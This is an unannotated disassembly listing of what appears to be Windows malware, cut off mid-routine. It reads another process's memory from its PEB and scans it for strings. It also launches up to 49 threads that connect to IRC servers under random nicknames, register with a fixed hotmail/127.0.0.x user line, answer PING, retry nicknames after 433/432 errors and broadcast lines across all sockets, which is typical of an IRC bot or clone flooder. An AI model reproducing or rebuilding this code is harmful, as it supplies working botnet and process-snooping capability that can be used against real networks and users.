var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		call	ds:dword_4F638C	; OpenProcess
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_417E47
		xor	eax, eax
		jmp	loc_417FC2
; ---------------------------------------------------------------------------

loc_417E47:				; CODE XREF: sub_417E1E+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		call	ds:dword_4F645C	; GetSystemInfo
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, ds:dword_4F6450
		push	8
		call	esi	; GetProcessHeap
		mov	edi, ds:dword_4F644C
		push	eax
		call	edi	; RtlAllocateHeap
		lea	ecx, [ebp+var_8]
		mov	ebx, ds:dword_4F6458
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx	; ReadProcessMemory
		test	eax, eax
		jnz	short loc_417E97
		xor	esi, esi
		jmp	loc_417FB5
; ---------------------------------------------------------------------------

loc_417E97:				; CODE XREF: sub_417E1E+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ds:dword_4F6454	; VirtualQueryEx
		test	eax, eax
		jz	loc_417FA4
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_417FA4
		test	[ebp+var_2B], 1
		jnz	loc_417FA4
		push	[ebp+var_34]
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	edi	; RtlAllocateHeap
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx	; ReadProcessMemory
		test	eax, eax
		jz	loc_417FA4

loc_417EFA:				; CODE XREF: sub_417E1E+112j
		push	edi		; Str2
		push	offset word_4EC13C ; Str1
		call	__wcsicmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417F22
		lea	eax, [edi+200h]
		push	eax		; Str2
		push	offset word_4EC93C ; Str1
		call	__wcsicmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417F32

loc_417F22:				; CODE XREF: sub_417E1E+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_417FA4
		jmp	short loc_417EFA
; ---------------------------------------------------------------------------

loc_417F32:				; CODE XREF: sub_417E1E+102j
		test	edi, edi
		jz	short loc_417FA4
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		call	ds:dword_4F641C	; FileTimeToLocalFileTime
		test	eax, eax
		jz	short loc_417F6D
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	ds:dword_4F6418	; FileTimeToSystemTime
		test	eax, eax
		jz	short loc_417F6D
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax

loc_417F6D:				; CODE XREF: sub_417E1E+12Bj
					; sub_417E1E+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4ED360, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4ED358, eax
		mov	Src, edi

loc_417FA4:				; CODE XREF: sub_417E1E+90j
					; sub_417E1E+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	ds:dword_4F6448	; RtlFreeHeap
		mov	esi, [ebp+var_10]

loc_417FB5:				; CODE XREF: sub_417E1E+74j
		push	[ebp+var_4]
		call	ds:dword_4F6370	; CloseHandle
		pop	edi
		mov	eax, esi
		pop	ebx

loc_417FC2:				; CODE XREF: sub_417E1E+24j
		pop	esi
		leave
		retn
sub_417E1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417FC5	proc near		; CODE XREF: sub_417AC3:loc_417BBBp

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		call	ds:dword_4F638C	; OpenProcess
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_4180B7
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		call	ds:dword_4F645C	; GetSystemInfo
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_4180AE
		mov	edi, ds:dword_4F6450

loc_418010:				; CODE XREF: sub_417FC5+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	ds:dword_4F6454	; VirtualQueryEx
		test	eax, eax
		jz	short loc_41809C
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4180A2
		test	[ebp+var_13], 1
		jnz	short loc_4180A2
		push	ecx
		push	8
		call	edi	; GetProcessHeap
		push	eax
		call	ds:dword_4F644C	; RtlAllocateHeap
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	ds:dword_4F6458	; ReadProcessMemory
		test	eax, eax
		jz	short loc_41808E
		push	offset word_4EC13C ; Str2
		push	esi		; Str1
		call	__wcsicmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41808E
		lea	eax, [esi+400h]
		push	offset word_4EC93C ; Str2
		push	eax		; Str1
		call	__wcsicmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4180BE

loc_41808E:				; CODE XREF: sub_417FC5+9Fj
					; sub_417FC5+B0j
		push	esi
		push	0
		call	edi	; GetProcessHeap
		push	eax
		call	ds:dword_4F6448	; RtlFreeHeap
		jmp	short loc_4180A2
; ---------------------------------------------------------------------------

loc_41809C:				; CODE XREF: sub_417FC5+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax

loc_4180A2:				; CODE XREF: sub_417FC5+71j
					; sub_417FC5+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_418010

loc_4180AE:				; CODE XREF: sub_417FC5+3Fj
		push	[ebp+arg_0]
		call	ds:dword_4F6370	; CloseHandle

loc_4180B7:				; CODE XREF: sub_417FC5+1Ej
		xor	eax, eax

loc_4180B9:				; CODE XREF: sub_417FC5+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4180BE:				; CODE XREF: sub_417FC5+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4ED358, ebx
		mov	Src, eax
		cmp	[eax], cl
		jnz	short loc_4180E0
		cmp	[eax+1], cl
		jz	short loc_4180E8

loc_4180E0:				; CODE XREF: sub_417FC5+114j
					; sub_417FC5+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4180E0

loc_4180E8:				; CODE XREF: sub_417FC5+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		call	ds:dword_4F6370	; CloseHandle
		push	1
		pop	eax
		jmp	short loc_4180B9
sub_417FC5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4180FB	proc near		; CODE XREF: sub_417AC3+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4ED354
		push	esi
		mov	esi, ds:dword_4F6450
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	ds:dword_4F644C	; RtlAllocateHeap
		mov	ecx, dword_4ED354
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx		; Size
		push	Src		; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4ED360
		push	eax
		call	dword_4ED140
		push	[ebp+var_4]
		mov	edi, offset byte_4ED14C
		push	offset word_4EC13C
		push	offset word_4EC93C
		push	[ebp+arg_0]
		push	offset asc_44FE68 ; "-"
		push	200h		; Count
		push	edi		; Dest
		call	__snprintf
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	ds:dword_4F6448	; RtlFreeHeap
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4180FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418192	proc near		; CODE XREF: sub_417AC3:loc_417BFFp

var_18		= word ptr -18h
var_16		= word ptr -16h
Dst		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4ED354
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		call	ds:dword_4F6450	; GetProcessHeap
		push	eax
		call	ds:dword_4F644C	; RtlAllocateHeap
		and	[ebp+var_C], 0
		mov	[ebp+Dst], eax
		mov	ebx, offset word_4EC93C
		mov	edi, 200h
		mov	esi, offset byte_4EBF3C

loc_4181D8:				; CODE XREF: sub_418192+FAj
		mov	eax, dword_4ED354
		add	eax, eax
		push	eax		; Size
		push	Src		; Src
		push	[ebp+Dst]	; Dst
		call	_memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4ED140
		mov	eax, dword_4ED354
		and	[ebp+var_10], 0
		mov	ecx, [ebp+Dst]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_41824D

loc_418215:				; CODE XREF: sub_418192+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_41826A
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_418239
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_418239
		cmp	dl, 20h
		jnb	short loc_418233
		and	[ebp+var_8], 0

loc_418233:				; CODE XREF: sub_418192+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_41823D

loc_418239:				; CODE XREF: sub_418192+90j
					; sub_418192+96j
		and	[ebp+var_8], 0

loc_41823D:				; CODE XREF: sub_418192+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_418215
		cmp	[ebp+var_8], 0
		jz	short loc_41826A

loc_41824D:				; CODE XREF: sub_418192+81j
		push	[ebp+Dst]
		push	offset word_4EC13C
		push	ebx
		push	[ebp+arg_0]
		push	offset asc_44FEB8 ; "-"
		push	edi		; Count
		push	esi		; Dest
		call	__snprintf
		add	esp, 1Ch
		jmp	short loc_418282
; ---------------------------------------------------------------------------

loc_41826A:				; CODE XREF: sub_418192+87j
					; sub_418192+B9j
		push	offset word_4EC13C
		push	ebx
		push	[ebp+arg_0]
		push	offset asc_44FF08 ; "-"
		push	edi		; Count
		push	esi		; Dest
		call	__snprintf
		add	esp, 18h

loc_418282:				; CODE XREF: sub_418192+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_4181D8
		push	[ebp+Dst]
		push	0
		call	ds:dword_4F6450	; GetProcessHeap
		push	eax
		call	ds:dword_4F6448	; RtlFreeHeap
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418192	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4182AB	proc near		; CODE XREF: sub_418465+2Fp

Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4E42A0	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_418327
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+arg_4]
		call	dword_4E4220	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4E4260	; inet_addr
		cmp	eax, esi
		jnz	short loc_41830C
		push	[ebp+arg_0]
		call	dword_4E42A4	; gethostbyname
		test	eax, eax
		jz	short loc_418327
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

loc_41830C:				; CODE XREF: sub_4182AB+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	edi
		call	dword_4E41C8	; connect
		cmp	eax, esi
		jnz	short loc_41832B
		push	edi
		call	dword_4E42B8	; closesocket

loc_418327:				; CODE XREF: sub_4182AB+1Bj
					; sub_4182AB+58j
		mov	eax, esi
		jmp	short loc_41832D
; ---------------------------------------------------------------------------

loc_41832B:				; CODE XREF: sub_4182AB+73j
		mov	eax, edi

loc_41832D:				; CODE XREF: sub_4182AB+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_4182AB	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_418331(char *Dest)

sub_418331	proc near		; CODE XREF: sub_401CC7+32A7p
					; sub_401CC7+3311p ...

Dest		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+Dest]
		push	offset asc_450BD8 ; "\n"
		push	edi		; Dest
		call	_strcat
		pop	ecx
		mov	esi, offset dword_4ED36C
		pop	ecx

loc_418349:				; CODE XREF: sub_418331+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_418367
		cmp	dword ptr [esi], 0
		jbe	short loc_418367
		push	0
		push	edi		; Str
		call	_strlen
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4E4270	; send

loc_418367:				; CODE XREF: sub_418331+1Cj
					; sub_418331+21j
		add	esi, 210h
		cmp	esi, offset dword_4F3A8C
		jl	short loc_418349
		pop	edi
		pop	esi
		retn
sub_418331	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_418378(char *Str,int)

sub_418378	proc near		; CODE XREF: sub_418465+155p

Dst		= byte ptr -420h
Dest		= byte ptr -220h
Str2		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
Str		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		push	edi
		push	offset asc_450BDC ; " "
		push	[ebp+Str]	; Str
		call	_strtok
		pop	ecx
		mov	[ebp+Str2], eax
		pop	ecx
		lea	esi, [ebp+var_1C]
		push	7
		xor	ebx, ebx
		pop	edi

loc_41839E:				; CODE XREF: sub_418378+39j
		push	offset asc_450BE0 ; " "
		push	ebx		; Str
		call	_strtok
		mov	[esi], eax
		pop	ecx
		add	esi, 4
		dec	edi
		pop	ecx
		jnz	short loc_41839E
		cmp	[ebp+Str2], ebx
		mov	esi, [ebp+var_1C]
		jnz	short loc_4183C7
		cmp	esi, ebx
		jnz	short loc_4183C7
		push	1
		pop	eax
		jmp	loc_418460
; ---------------------------------------------------------------------------

loc_4183C7:				; CODE XREF: sub_418378+41j
					; sub_418378+45j
		push	[ebp+Str2]	; Str2
		push	offset aPing_1	; "PING"
		call	_strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi		; Str2
		jnz	short loc_4183E2
		push	offset aPongS_0	; "PONG	%s\n"
		jmp	short loc_418430
; ---------------------------------------------------------------------------

loc_4183E2:				; CODE XREF: sub_418378+61j
		push	offset a433	; "433"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_418403
		push	esi		; Str2
		push	offset a432	; "432"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41845E

loc_418403:				; CODE XREF: sub_418378+78j
		push	200h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418688
		add	esp, 10h
		lea	eax, [ebp+Dst]
		push	eax
		push	offset aNickS_9	; "NICK	%s\n"

loc_418430:				; CODE XREF: sub_418378+68j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		lea	eax, [ebp+Dest]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E4270	; send

loc_41845E:				; CODE XREF: sub_418378+89j
		xor	eax, eax

loc_418460:				; CODE XREF: sub_418378+4Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418378	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418465	proc near		; DATA XREF: sub_41860A+61o

Dest		= byte ptr -4008h
var_3008	= byte ptr -3008h
Dst		= byte ptr -2008h
Str		= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	__alloca_probe
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4ED374[esi]
		mov	dword_4ED368[esi], edi
		push	dword_4ED574[esi]
		push	eax
		call	sub_4182AB
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4ED36C[esi], eax
		jb	loc_4185EA
		mov	edi, 1000h
		lea	eax, [ebp+Dst]
		push	edi		; Size
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_418688
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	sub_418688
		lea	eax, [ebp+var_3008]
		push	eax		; Dest
		call	sub_418688
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+Str]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		lea	eax, [ebp+Str]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	dword_4ED36C[esi]
		call	dword_4E4270	; send
		push	edi		; Size
		lea	eax, [ebp+Str]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch

loc_418541:				; CODE XREF: sub_418465+111j
					; sub_418465+180j
		push	edi		; Size
		lea	eax, [ebp+Str]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Str]
		push	ebx
		push	edi
		push	eax
		push	dword_4ED36C[esi]
		call	dword_4E4238	; recv
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_4185EA
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_418541

loc_418578:				; CODE XREF: sub_418465+17Ej
		mov	al, [ebp+eax+Str]
		cmp	al, 0Dh
		jz	short loc_41859F
		cmp	al, 0Ah
		jz	short loc_41859F
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_41859F
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+Dst], al
		jmp	short loc_4185D9
; ---------------------------------------------------------------------------

loc_41859F:				; CODE XREF: sub_418465+11Cj
					; sub_418465+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_4185D9
		push	dword_4ED36C[esi] ; int
		mov	[ebp+eax+Dst], bl
		lea	eax, [ebp+Dst]
		push	eax		; Str
		call	sub_418378
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_4185EA
		push	edi		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx

loc_4185D9:				; CODE XREF: sub_418465+138j
					; sub_418465+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_418578
		jmp	loc_418541
; ---------------------------------------------------------------------------

loc_4185EA:				; CODE XREF: sub_418465+40j
					; sub_418465+107j ...
		mov	dword_4ED368[esi], ebx
		mov	esi, dword_4ED36C[esi]
		cmp	esi, ebx
		jbe	short loc_418601
		push	esi
		call	dword_4E42B8	; closesocket

loc_418601:				; CODE XREF: sub_418465+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_418465	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41860A(char *Source,int,int)

sub_41860A	proc near		; CODE XREF: sub_401CC7+31F6p

var_8		= byte ptr -8
var_4		= dword	ptr -4
Source		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_418683

loc_41861C:				; CODE XREF: sub_41860A+77j
		xor	edi, edi
		mov	eax, offset dword_4ED368

loc_418623:				; CODE XREF: sub_41860A+28j
		cmp	[eax], ebx
		jz	short loc_418634
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4F3A88
		jl	short loc_418623

loc_418634:				; CODE XREF: sub_41860A+1Bj
		cmp	edi, 31h
		jz	short loc_418683
		mov	esi, edi
		push	[ebp+Source]	; Source
		imul	esi, 210h
		lea	eax, dword_4ED374[esi]
		push	eax		; Dest
		call	_strcpy
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4ED574[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4ED368[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_418465
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_41861C

loc_418683:				; CODE XREF: sub_41860A+10j
					; sub_41860A+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41860A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_418688(char *Dest)

sub_418688	proc near		; CODE XREF: sub_401CC7+3758p
					; sub_401CC7+37A2p ...

Source		= byte ptr -40h
var_2D		= byte ptr -2Dh
Dst		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
Count		= dword	ptr -0Ch
var_4		= dword	ptr -4
Dest		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		call	_rand
		mov	[ebp+Count], eax
		fild	[ebp+Count]
		fmul	ds:dbl_43D4D0
		call	__ftol
		cmp	eax, 1
		jnz	short loc_4186D2
		call	_rand
		call	_rand
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_45025C[edx*4]
		jmp	short loc_4186EB
; ---------------------------------------------------------------------------

loc_4186D2:				; CODE XREF: sub_418688+2Fj
		call	_rand
		call	_rand
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_44FF5C[edx*4] ; Source

loc_4186EB:				; CODE XREF: sub_418688+48j
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_strcpy
		pop	ecx
		lea	eax, [ebp+Dst]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax		; Str
		call	_strlen
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+Count], eax
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_43D4C8
		call	__ftol
		mov	ebx, eax
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	ds:dbl_43D4C0
		call	__ftol
		cmp	esi, 2
		mov	edi, offset a__3 ; "-|`_\\{[]}"
		jle	short loc_41875E
		cmp	esi, 3
		jnz	short loc_418755
		cmp	ebx, 1
		jz	short loc_41875E

loc_418755:				; CODE XREF: sub_418688+C6j
		cmp	eax, 1
		jnz	loc_418818

loc_41875E:				; CODE XREF: sub_418688+C1j
					; sub_418688+CBj
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_43D4B8
		call	__ftol
		push	off_45025C[eax*4] ; Source
		lea	eax, [ebp+Source]
		push	eax		; Dest
		call	_strcpy
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+Dst]
		push	eax		; Val
		push	edi		; Str
		call	_strchr
		add	esp, 10h
		test	eax, eax
		jnz	short loc_418805
		movsx	eax, [ebp+Source]
		push	eax		; Val
		push	edi		; Str
		call	_strchr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418805
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	ds:dbl_43D4C0
		call	__ftol
		cmp	eax, 1
		jnz	short loc_418805
		push	edi		; Str
		call	_strlen
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	ds:dbl_43D4C0
		call	__ftol
		mov	al, byte ptr a__3[eax] ; "-|`_\\{[]}"
		mov	[ebx], al

loc_418805:				; CODE XREF: sub_418688+111j
					; sub_418688+122j ...
		push	[ebp+Count]	; Count
		lea	eax, [ebp+Source]
		push	eax		; Source
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_strncat
		add	esp, 0Ch

loc_418818:				; CODE XREF: sub_418688+D0j
		lea	eax, [ebp+Dst]
		push	eax		; Str
		call	_strlen
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+Dst]
		push	eax		; C
		mov	[ebp+var_4], esi
		call	_isdigit
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_418A80
		and	[ebp+Count], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax		; Val
		push	edi		; Str
		call	_strchr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_418977
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	ds:dbl_43D4C0
		call	__ftol
		cmp	esi, 3
		jz	short loc_418886
		cmp	eax, 1
		jnz	loc_418977

loc_418886:				; CODE XREF: sub_418688+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_4188C8
		push	edi		; Str
		call	_strlen
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
